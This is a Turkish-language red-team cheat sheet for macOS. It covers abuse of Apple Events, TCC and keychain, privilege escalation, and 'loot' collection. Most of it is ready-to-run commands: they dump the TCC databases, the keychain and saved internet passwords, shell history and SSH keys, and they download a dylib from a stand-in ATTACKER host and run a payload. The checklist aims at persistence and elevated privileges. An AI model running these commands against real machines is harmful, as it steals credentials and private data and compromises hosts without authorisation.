macOS Apple Events

macos bypass

macOS Apple Events macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla. TCC veritabanı ve TCC’li uygulama impersonation ana hedeftir.

Metodoloji

1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

2. macOS Apple Events için launch item, entitlement ve library/XPC yüzeyini tara.

3. Injection veya privacy bypass hipotezini doğrula.

4. Keychain/TCC/hassas dosya kanıtını al.

Durum

macOS Apple Events macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

id; whoami; hostname

sw_vers; uname -a

csrutil status

spctl --status

system_profiler SPSoftwareDataType | head -n 40

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null

ps aux | head -n 50

lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

TCC / Keychain / privacy

TCC veritabanı ve TCC’li uygulamalar üzerinden hassas veri veya AppleEvent suistimali.

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,service,auth_value FROM access"

sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,service,auth_value FROM access" 2>/dev/null

tccutil reset All com.example.app 2>/dev/null

security dump-keychain -d login.keychain-db 2>/dev/null | head -n 80

security find-generic-password -a $USER -s 'target' -w 2>/dev/null

osascript -e 'tell application "System Events" to get name of every process'

osascript -e 'tell application "Finder" to get home'

ls -la ~/Library/Application\ Support/com.apple.TCC/

Sistem / binary / debug

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

file /Applications/App.app/Contents/MacOS/*

lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null

nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

vmmap $(pgrep -n App) 2>/dev/null | head

lldb -p $(pgrep -n App)

nvram -p

kextstat 2>/dev/null | head

systemextensionsctl list 2>/dev/null

ioreg -l | rg -i 'IOUserClient|IOKit' | head

ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head

find /Users /Library -name '*.plist' 2>/dev/null | head -n 40

Privesc hızlı tarama

find / -perm -4000 2>/dev/null | head

ls -la /usr/local/bin /opt 2>/dev/null

crontab -l; ls /etc/cron* 2>/dev/null

dscl . -read /Groups/admin GroupMembership

sudo -l 2>/dev/null

Hassas veri ve loot

ls -la ~/Library/Keychains ~/.ssh 2>/dev/null

cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50

defaults read 2>/dev/null | head

find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head

security find-internet-password -g 2>/dev/null | head

Manuel doğrulama

# macOS Apple Events — varyant 27

ls -la@ ~/Library ~/Documents 2>/dev/null | head

mdfind 'kMDItemKind == Application' | head

defaults read com.apple.dock 2>/dev/null | head

log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head

fs_usage -w -f filesys 2>/dev/null | head

sample App 3 2>/dev/null | head

Payload taşıma

python3 -m http.server 8000

curl -O http://ATTACKER/evil.dylib

chmod +x ./payload && ./payload

Checklist

[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

Notlar

macOS Apple Events sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.